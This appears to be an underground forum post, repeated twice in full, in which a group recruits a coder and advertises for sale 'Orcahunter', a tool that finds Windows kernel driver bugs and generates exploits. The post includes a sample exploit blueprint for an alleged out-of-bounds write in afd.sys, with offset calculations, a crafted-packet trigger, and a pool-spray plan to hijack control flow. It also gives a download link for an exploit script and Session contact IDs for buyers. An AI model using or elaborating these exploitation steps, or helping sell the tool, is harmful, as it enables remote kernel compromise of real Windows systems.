Jun 18, 2026, 06:47 AM
Hello everyone. We are Orcinus Orca. Due to some reasons, our team needs to recruit one more member specializing in low-level coding. Anyone who is still "lonely" and has the skills, please join us. Sincerely.
Due to a change of plans, we need one more member who specializes in low-level coding for our team. If you're a free agent and have the skills, hit us up. Skids please next.
DM directly via Session for technical evaluation and infrastructure entry terms
Session Messenger ID for Calypso122: 0524a02814c653c6d667feecbfb6ff77144321ccc3ffd1f6cd8b579c7e95ca477d
(Session Messenger ID: 050478ecf2a2b5807c452969843cc719ef1e815e4c52cd9aa3ab10bb53849c072d) for buyer/seller
Regarding the acquisition: we operate strictly through trusted, high-profile cryptographically-secured escrow platforms. No direct deals with unverified third parties, no exceptions. We have absolute confidence in the capabilities of our framework because we built it from scratch.we know exactly what it can achieve. We dictate the terms, and we trust nobody else
SYSTEM OVERVIEW & CORE FUNCTIONALITY:
The product offered for sale is the complete source code of the Orcahunter framework a standalone hybrid analysis system requiring no external dependencies, specifically built to scan and automatically generate blueprints for Windows Kernel memory corruption flaws.
Integrated functional modules include:
1. System-wide Parallel Scan
Supports a ProcessPoolExecutor mechanism running parallel threads across all system driver files (.sys) to bypass GIL limitations, enabling rapid on-site zero-day discovery
2. InterprocTaint
Traces attacker-controlled input across functions using a callee-aware recursive engine up to 3 levels deep (max_depth=3) to locate and crack code sinks buried inside complex subroutines
3. GarbageFilter
A 4-tier filtering process (stub, isolated-path, masked-index-safe, dedup) that automatically identifies and drops boundary checks, minimizing false positives before emulation begins 4. DynVerify
4. DynVerify
Integrates Unicorn Engine to emulate machine instructions independently. Tracks pool memory states via DTT and a UAF state machine, checks for kernel pointer leaks (kptrs), and monitors for EDR callback corruption (OB_CALLBACK corruption check) to return a VERIFIED_TRUE_POSITIVE
verdict with a real-world accuracy rate of 85%
5. Automated Exploit Chaining
Automatically searches, calculates, and pairs uninitialized memory leaks (for KASLR bypass) with Out-of-Bounds (OOB) Writes on the same target driver to generate complete CVSS 10.0 chains aimed at RIP control
6. AEG Blueprint & Emitter
Extracts register math constraints, pointer slot structures, and leak gap bitmasks into formatted JSON output, while constructing standalone Python exploit scripts via the --emit-exploits flag
T
TECHNICAL PROOF OF WORK (SAMPLE EXPLOIT BLUEPRINT)
The framework includes technical Proof of Work data, containing detailed exploit blueprints for verified OOB Write hotspots across core Windows drivers such as afd.sys , srv2.sys , and tcpip.sys
Below is an unfiltered example output generated by Orcahunter:
```
------------------------------------------------------------------------------------------------
BUG #1 [afd.sys] type=OOB_Write_Hotspot
function_rva = 0x53c10
alloc_site_va = 0x140053ce1
alloc_size = variable
oob_hotspots = 3
dynamic_verify = (not run)
oob_sites =
va=0x140053e01 ins="mov dword ptr [rsi + rcx*8 + 4], eax" index_reg=rcx scale=8
va=0x140053e0b ins="mov dword ptr [rsi + rcx*8 + 8], eax" index_reg=rcx scale=8
va=0x140053e0f ins="mov dword ptr [rsi + rcx*8], r15d" index_reg=rcx scale=8
PAYLOAD_OFFSET_CALCULATIONS:
strategy = CONTROL_FLOW_HIJACK
trigger_instruction_count = 3
trigger_sites:
- 0x140053e01
- 0x140053e0b
- 0x140053e0f
index_math = final_offset = field * 8 (attacker_field in [0..0xFFFF])
max_attacker_field_value = 0xFFFF
max_write_offset_past_buffer = 0x7fff8 (524280 bytes ~1MB)
target_value_register = ESI / EAX / immediate
attacker_packet_field = 16-bit metadata field in WFP ALE classify context. Maps to source port / dest port / protocol ID in inbound packet header. Set to 0xFFFF to maximize OOB offset.
user_mode_action = Send TCP SYN/UDP/ICMP packet with source-port=0xFFFF (or other 16-bit header field = 0xFFFF). On trigger, kernel writes 4 bytes at [rdx + 0xFFFF0]. Pre-spray adjacent pool with function pointer; corrupt it; trigger call.
ASM_CONTEXT (function 0x53c10, alloc site highlighted):
0x000140053cba call qword ptr [rip + 0x3694f]
0x000140053cc1 nop dword ptr [rax + rax]
0x000140053cc6 test al, al
0x000140053cc8 je 0x140053e87
0x000140053cce lea rdx, [r12 + r12*4]
0x000140053cd2 mov ecx, 0x40
0x000140053cd7 shl rdx, 3
0x000140053cdb mov r8d, 0x64646641
<<< 0x000140053ce1 call qword ptr [rip + 0x36cf0]
0x000140053ce8 nop dword ptr [rax + rax]
0x000140053ced mov rsi, rax
0x000140053cf0 test rax, rax
0x000140053cf3 je 0x140053e87
0x000140053cf9 xorps xmm0, xmm0
0x000140053cfc lea rcx, [rbp - 0x38]
0x000140053d00 xor eax, eax
0x000140053d02 movups xmmword ptr [rbp - 0x38], xmm0
0x000140053d06 mov qword ptr [rbp - 0x28], rax
0x000140053d0a call qword ptr [rip + 0x363d7]
0x000140053d11 nop dword ptr [rax + rax]
0x000140053d16 mov rcx, qword ptr [rip + 0x3119b]
0x000140053d1d call qword ptr [rip + 0x36524]
0x000140053d24 nop dword ptr [rax + rax]
0x000140053d29 mov r14, qword ptr [rip + 0x30f00]
0x000140053d30 lea rax, [rip + 0x30ef9]
0x000140053d37 cmp r14, rax
0x000140053d3a je 0x140053e4d
0x000140053d40 lea r13, [rip + 0x30ee9]
0x000140053d47 mov rax, qword ptr [r14 - 0xe0]
0x000140053d4e test rax, rax
0x000140053d51 je 0x140053d59
0x000140053d53 mov r15d, dword ptr [rax + 0x10]
0x000140053d57 jmp 0x140053d5f
0x000140053d59 mov r15d, 1
0x000140053d5f xorps xmm0, xmm0
0x000140053d62 lea r8, [rbp - 0x20]
0x000140053d66 movups xmmword ptr [rbp - 0x20], xmm0
0x000140053d6a mov ebx, dword ptr [r14 - 0x130]
0x000140053d71 lea rdx, [rbp - 0x38]
```
Exploit Factors Detected by Orcahunter:
1.Automatically identifies the dynamic pool allocation routine inside the network stack at 0x140053ce1, capturing the unique allocation memory tag 0x64646641 (ASCII 'Affd') loaded into register r8d
2. InIsolates the exact base and index registers involved in the Out-of-Bounds memory operations (index_reg=rcx, scale=8), automatically pinpointing the three distinct write instructions triggering the hotspot
3.Computes the mathematical boundaries of the vulnerability window (max_write_offset_past_buffer = 0x7fff8), mapping the controlled field directly to specific inbound 16-bit transport metadata within the Windows Filtering Platform (WFP) ALE classification process
4.Derives the precise network trigger requirements, defining the user-mode packet input parameters (e.g., standard source/destination ports set to maximum values) to predictably overwrite targeted kernel memory structures
NOTES: Skids please next.
Attached below is the exploit blueprint file generated via the --emit-exploits flag, named tcpip.sys_0xb1194_leak.py
blueprint : https://gofile.io/d/6OSIaI
NOTES: Serious inquiries only. Reach out via the Session IDs listed above to review the complete documentation, verify deployment telemetry, or coordinate technical onboarding evaluations.
Due to a change of plans, we need one more member who specializes in low-level coding for our team. If you're a free agent and have the skills, hit us up. Skids please next.
DM directly via Session for technical evaluation and infrastructure entry terms
Session Messenger ID for Calypso122: 0524a02814c653c6d667feecbfb6ff77144321ccc3ffd1f6cd8b579c7e95ca477d
(Session Messenger ID: 050478ecf2a2b5807c452969843cc719ef1e815e4c52cd9aa3ab10bb53849c072d) for buyer/seller
Regarding the acquisition: we operate strictly through trusted, high-profile cryptographically-secured escrow platforms. No direct deals with unverified third parties, no exceptions. We have absolute confidence in the capabilities of our framework because we built it from scratch.we know exactly what it can achieve. We dictate the terms, and we trust nobody else
SYSTEM OVERVIEW & CORE FUNCTIONALITY:
The product offered for sale is the complete source code of the Orcahunter framework a standalone hybrid analysis system requiring no external dependencies, specifically built to scan and automatically generate blueprints for Windows Kernel memory corruption flaws.
Integrated functional modules include:
1. System-wide Parallel Scan
Supports a ProcessPoolExecutor mechanism running parallel threads across all system driver files (.sys) to bypass GIL limitations, enabling rapid on-site zero-day discovery
2. InterprocTaint
Traces attacker-controlled input across functions using a callee-aware recursive engine up to 3 levels deep (max_depth=3) to locate and crack code sinks buried inside complex subroutines
3. GarbageFilter
A 4-tier filtering process (stub, isolated-path, masked-index-safe, dedup) that automatically identifies and drops boundary checks, minimizing false positives before emulation begins 4. DynVerify
4. DynVerify
Integrates Unicorn Engine to emulate machine instructions independently. Tracks pool memory states via DTT and a UAF state machine, checks for kernel pointer leaks (kptrs), and monitors for EDR callback corruption (OB_CALLBACK corruption check) to return a VERIFIED_TRUE_POSITIVE
verdict with a real-world accuracy rate of 85%
5. Automated Exploit Chaining
Automatically searches, calculates, and pairs uninitialized memory leaks (for KASLR bypass) with Out-of-Bounds (OOB) Writes on the same target driver to generate complete CVSS 10.0 chains aimed at RIP control
6. AEG Blueprint & Emitter
Extracts register math constraints, pointer slot structures, and leak gap bitmasks into formatted JSON output, while constructing standalone Python exploit scripts via the --emit-exploits flag
T
TECHNICAL PROOF OF WORK (SAMPLE EXPLOIT BLUEPRINT)
The framework includes technical Proof of Work data, containing detailed exploit blueprints for verified OOB Write hotspots across core Windows drivers such as afd.sys , srv2.sys , and tcpip.sys
Below is an unfiltered example output generated by Orcahunter:
```
------------------------------------------------------------------------------------------------
BUG #1 [afd.sys] type=OOB_Write_Hotspot
function_rva = 0x53c10
alloc_site_va = 0x140053ce1
alloc_size = variable
oob_hotspots = 3
dynamic_verify = (not run)
oob_sites =
va=0x140053e01 ins="mov dword ptr [rsi + rcx*8 + 4], eax" index_reg=rcx scale=8
va=0x140053e0b ins="mov dword ptr [rsi + rcx*8 + 8], eax" index_reg=rcx scale=8
va=0x140053e0f ins="mov dword ptr [rsi + rcx*8], r15d" index_reg=rcx scale=8
PAYLOAD_OFFSET_CALCULATIONS:
strategy = CONTROL_FLOW_HIJACK
trigger_instruction_count = 3
trigger_sites:
- 0x140053e01
- 0x140053e0b
- 0x140053e0f
index_math = final_offset = field * 8 (attacker_field in [0..0xFFFF])
max_attacker_field_value = 0xFFFF
max_write_offset_past_buffer = 0x7fff8 (524280 bytes ~1MB)
target_value_register = ESI / EAX / immediate
attacker_packet_field = 16-bit metadata field in WFP ALE classify context. Maps to source port / dest port / protocol ID in inbound packet header. Set to 0xFFFF to maximize OOB offset.
user_mode_action = Send TCP SYN/UDP/ICMP packet with source-port=0xFFFF (or other 16-bit header field = 0xFFFF). On trigger, kernel writes 4 bytes at [rdx + 0xFFFF0]. Pre-spray adjacent pool with function pointer; corrupt it; trigger call.
ASM_CONTEXT (function 0x53c10, alloc site highlighted):
0x000140053cba call qword ptr [rip + 0x3694f]
0x000140053cc1 nop dword ptr [rax + rax]
0x000140053cc6 test al, al
0x000140053cc8 je 0x140053e87
0x000140053cce lea rdx, [r12 + r12*4]
0x000140053cd2 mov ecx, 0x40
0x000140053cd7 shl rdx, 3
0x000140053cdb mov r8d, 0x64646641
<<< 0x000140053ce1 call qword ptr [rip + 0x36cf0]
0x000140053ce8 nop dword ptr [rax + rax]
0x000140053ced mov rsi, rax
0x000140053cf0 test rax, rax
0x000140053cf3 je 0x140053e87
0x000140053cf9 xorps xmm0, xmm0
0x000140053cfc lea rcx, [rbp - 0x38]
0x000140053d00 xor eax, eax
0x000140053d02 movups xmmword ptr [rbp - 0x38], xmm0
0x000140053d06 mov qword ptr [rbp - 0x28], rax
0x000140053d0a call qword ptr [rip + 0x363d7]
0x000140053d11 nop dword ptr [rax + rax]
0x000140053d16 mov rcx, qword ptr [rip + 0x3119b]
0x000140053d1d call qword ptr [rip + 0x36524]
0x000140053d24 nop dword ptr [rax + rax]
0x000140053d29 mov r14, qword ptr [rip + 0x30f00]
0x000140053d30 lea rax, [rip + 0x30ef9]
0x000140053d37 cmp r14, rax
0x000140053d3a je 0x140053e4d
0x000140053d40 lea r13, [rip + 0x30ee9]
0x000140053d47 mov rax, qword ptr [r14 - 0xe0]
0x000140053d4e test rax, rax
0x000140053d51 je 0x140053d59
0x000140053d53 mov r15d, dword ptr [rax + 0x10]
0x000140053d57 jmp 0x140053d5f
0x000140053d59 mov r15d, 1
0x000140053d5f xorps xmm0, xmm0
0x000140053d62 lea r8, [rbp - 0x20]
0x000140053d66 movups xmmword ptr [rbp - 0x20], xmm0
0x000140053d6a mov ebx, dword ptr [r14 - 0x130]
0x000140053d71 lea rdx, [rbp - 0x38]
```
Exploit Factors Detected by Orcahunter:
1.Automatically identifies the dynamic pool allocation routine inside the network stack at 0x140053ce1, capturing the unique allocation memory tag 0x64646641 (ASCII 'Affd') loaded into register r8d
2. InIsolates the exact base and index registers involved in the Out-of-Bounds memory operations (index_reg=rcx, scale=8), automatically pinpointing the three distinct write instructions triggering the hotspot
3.Computes the mathematical boundaries of the vulnerability window (max_write_offset_past_buffer = 0x7fff8), mapping the controlled field directly to specific inbound 16-bit transport metadata within the Windows Filtering Platform (WFP) ALE classification process
4.Derives the precise network trigger requirements, defining the user-mode packet input parameters (e.g., standard source/destination ports set to maximum values) to predictably overwrite targeted kernel memory structures
NOTES: Skids please next.
Attached below is the exploit blueprint file generated via the --emit-exploits flag, named tcpip.sys_0xb1194_leak.py
blueprint : https://gofile.io/d/6OSIaI
NOTES: Serious inquiries only. Reach out via the Session IDs listed above to review the complete documentation, verify deployment telemetry, or coordinate technical onboarding evaluations.